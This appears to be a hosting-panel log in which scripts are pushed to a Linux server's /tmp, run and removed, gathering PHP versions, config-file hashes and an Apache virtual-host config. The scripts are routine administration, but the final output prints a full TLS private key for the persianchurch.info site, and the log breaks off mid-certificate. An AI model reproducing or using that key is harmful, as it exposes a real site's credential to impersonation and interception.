      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-03-11 18:51:26: 

PUT: /tmp/pkp149825

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-11 18:51:26: 

chmod 755 /tmp/pkp149825; /tmp/pkp149825; rm /tmp/pkp149825

2026-03-11 18:51:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-11 18:51:26: 

PUT: /tmp/pkp819529

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-11 18:51:26: 

chmod 755 /tmp/pkp819529; /tmp/pkp819529; rm /tmp/pkp819529

2026-03-11 18:51:26: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.18


2026-03-11 18:51:26: 

PUT: /tmp/pkp589411

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-11 18:51:26: 

chmod 755 /tmp/pkp589411; /tmp/pkp589411; rm /tmp/pkp589411

2026-03-11 18:51:26: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= 6a57c97a068e4096b2875dbb469b0322
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-03-11 18:51:26: 

PUT: /tmp/pkp253174

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-11 18:51:26: 

chmod 755 /tmp/pkp253174; /tmp/pkp253174; rm /tmp/pkp253174

2026-03-11 18:51:26: 


status=ok


2026-03-11 18:51:26: 

PUT: /tmp/pkp864812

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-11 18:51:27: 

chmod 755 /tmp/pkp864812; /tmp/pkp864812; rm /tmp/pkp864812

2026-03-11 18:51:27: 
2026-03-11 18:51:27: 

PUT: /tmp/pkp928275

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/persianchurch_www_info.conf')
    show_file('/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-11 18:51:27: 

chmod 755 /tmp/pkp928275; /tmp/pkp928275; rm /tmp/pkp928275

2026-03-11 18:51:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/persianchurch_www_info.conf	1456

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid      41
    SetEnv pkp_owner    carelinks
    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid      41
    SetEnv pkp_owner    carelinks
</VirtualHost>




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt	5385
1d:51:1c:5a:75:27:ce:00:0d:20:57:59:90:95:68:21

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBixrK4upxFF6Et2MggePljMMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjI2MTIzODMwWhcNMjYwNTI3MTIzODI5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCceyePbQfMv/m5TnJvG9Ngi9XZKOcg82tZUGDsl65XAlDH6LPF9IVVYLS/
/dR+feaCizesMSFktV3nTTCrDZd7jNlT/2rlUBcfeV6ZuGLaTLLlqL38c4cKN8PB
t6X2IXO43haWThiJ1quqFuJFXeuP3hL7Yrkvnkdybnvy8n2Jj7JqcRdrzoqWY/I2
0TzM6GnisAJUZ9KnSq/8e/U9k9KwBXbmIdrJctmae2dpkG5/aVek1yNUyHpL9mvR
axhExPvGjerpZB1WnG5ocB++c2azr4vTe/IP0PqkLJgPcz6EjfiTm0iOB6UaZNQe
EqwL/zwGsPWb27I5CefFc8BppokNAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
io6E8P/azID5IIlPatOKYP8N1MIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJwZXJzaWFuY2h1cmNoLmluZm+CFnd3dy5w
ZXJzaWFuY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMy5jcmwwggEOBgorBgEE
AdZ5AgQCBIH/BIH8APoAfwBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh
4gAAAZyaKskYAAgAAAUACmMEjwQDAEgwRgIhAI+4xan0J8BmBIJzdV6ErSY7XI5P
Euw3E25B2leSwnniAiEAzWV3KmJ7hLKt4Mj0Vm6s16XXBvjPr8L4/zuALcooVtUA
dwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZyaKtBmAAAEAwBI
MEYCIQDe69Guvls/MbvhIhfq+4TWXgJnKbrTUddCJjykmTf2QwIhALuvsLLAkmgK
5jxSmIhpzF3ZMfcKq9816zHE017s7YbyMA0GCSqGSIb3DQEBCwUAA4IBAQCL6//+
yAdpYMF98LywDkA5rk/h+0WTpQHk92RjNaFRzkTFGZIBJc/YsbjAHDjhyns/2GFd
E7PAdN8m78MH0kbedXAfNAOqWfBicd3LRBMK7HRFUAoROmyZ6ToJKUWy9D8swSax
uD/sdlidaU9v1XtVYwxSbWRaA4XgCgneETfrE6pJT8NFWKF1ODXq8M3Br3VYlG0H
OoWLP1GyBSnG8JzMEvAQy6COqUddKeZCmGvudnaBnIcpkCC8pk7IIxq/Fb8HByoJ
WKCtCQ/btG0cwG7dQuitEsQ46MZlWu7XBSH7fj4eiqWlWioTn6DIbVEKPpev3Yjy
EnN3pujAiZcyUT9P
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCceyePbQfMv/m5
TnJvG9Ngi9XZKOcg82tZUGDsl65XAlDH6LPF9IVVYLS//dR+feaCizesMSFktV3n
TTCrDZd7jNlT/2rlUBcfeV6ZuGLaTLLlqL38c4cKN8PBt6X2IXO43haWThiJ1quq
FuJFXeuP3hL7Yrkvnkdybnvy8n2Jj7JqcRdrzoqWY/I20TzM6GnisAJUZ9KnSq/8
e/U9k9KwBXbmIdrJctmae2dpkG5/aVek1yNUyHpL9mvRaxhExPvGjerpZB1WnG5o
cB++c2azr4vTe/IP0PqkLJgPcz6EjfiTm0iOB6UaZNQeEqwL/zwGsPWb27I5CefF
c8BppokNAgMBAAECggEAICoUXJ/drZF8ZEGitgHzNfIoV8XXlGdUlnw2IAuhk1Lv
hdfoM/Vp/r2tCZXEOufoHMc+/07t/URmc+fi7BYUIBo4hdKHh3Ep/5c0Acbr0tFX
KGvB+YVJqakCvOvh2jDQF5zW6bhNxO9yQ7kGc5m1lNHh9vg49nfDWdsp8Ss08LRd
f4eP5myEHTsSPwcVH/3SQsWnVf1lLOkM5naGobCM/c4xloiu+e+idkzdBIn2IezL
vOf5NsQWKINK5EiHubXwaAyr8wvwaNZCjMLdVvDOEtULY9XY/W28CrlXpHKh24dc
+x2T0wSv47cT/64YfuJ7+IAjT/DcAI685QGe20bywQKBgQDKleVHMOdaltP9dSJF
OdTvVRHP6bCG/TcW7fbjwyBnZilPmsLjZ84H8odg9XT6Hz1VIM+ZknjRiSlS9Wyp
jIM8nNORNINjzXHtcXlh0PprVqzNSm+Nf+qOQeIOFyJZveqVoJutRWTo6FrFL8Ha
hJsgTy6tV8cYJXpoGlxViA2eMQKBgQDFvU2psNBL9SnqaqishvPjvzNRTgaADU9e
TmcFgHi6Kp0+VQnqKXnc43eGflALWAomx9cm9pqXtAH1PD1y6j4/cFNUtsLmLhFz
DbQX/YJP/nvQLFMNXhPQgZVGHIgwWdZdLpVu/lvyojghAhPtUBJH3OgDW1GfxQXY
fzOyn1qVnQKBgAh9A2BaQjdffn5uPANeiveEPvzRM95UGczSJ7gfYuoyM6TsPSI+
JTncBaQgZMheKrm4aDptErbk4mBhfC4WfyE5CPxakO7LmuxyBr38faGlvhPT/JyX
MYLIa+pfOcc81+lxE1TNRY8kvTjp6Vt4lu9hofkNZoAygdB+2kOTMc7hAoGAYY8K
WCRiQHeO3JcO7UAP6FeXLBAA6QCoHfE0puRBrCgGOJCgOaWI+FBJ0lNTjqU7LPL/
1btpfltTc/jqoF2tpIL4uh0Jf6NO/KLQLd3ngywdThHwT/IQeJjWWycMkj5gosyu
8XoRR159rttllXoh6s60saNGXDtKrQvlJ8WzXYkCgYEAwwr4xwYqhkHj3CRtaOZW
rv47PFLoerq47YgTwTz1iaKX51bFOoNsTJ4u/p8AP+wjjkUeeHKvHse8wIeWRdXi
zMS4tA0UAMgQHoX4EGazRXmaVVxOTtkbf7Dop9xb45VpCiZ4ooMv0EVWfc8iC1wF
hWU79FNH6b2xlSpUcQSkvM4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
